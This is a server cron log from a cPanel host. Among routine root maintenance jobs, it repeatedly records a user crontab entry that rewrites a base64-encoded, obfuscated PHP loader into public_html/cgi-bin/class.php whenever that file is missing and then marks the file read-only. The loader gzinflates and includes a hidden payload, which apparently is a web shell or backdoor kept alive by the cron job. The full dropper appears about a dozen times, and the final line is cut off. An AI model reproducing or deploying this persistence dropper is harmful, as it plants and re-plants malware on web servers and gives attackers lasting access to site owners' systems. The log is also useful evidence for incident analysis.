Apr  9 23:47:01 server CROND[3706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:48:01 server CROND[3765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:49:01 server CROND[3823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:50:01 server CROND[3878]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 23:50:01 server CROND[3879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:50:01 server CROND[3880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:50:01 server CROND[3877]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 23:50:01 server CROND[3884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:51:01 server CROND[4106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:52:01 server CROND[4161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:53:02 server CROND[4216]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr  9 23:53:02 server CROND[4217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:54:01 server CROND[4278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:55:01 server CROND[4341]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:55:01 server CROND[4342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:55:01 server CROND[4345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:56:01 server CROND[4555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:57:01 server CROND[4613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 23:57:01 server CROND[4614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:58:01 server CROND[4666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:59:01 server CROND[4727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:00:01 server CROND[4797]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 00:00:01 server CROND[4798]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 00:00:01 server CROND[4799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:00:01 server CROND[4800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:00:01 server CROND[4801]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr 10 00:00:01 server CROND[4803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ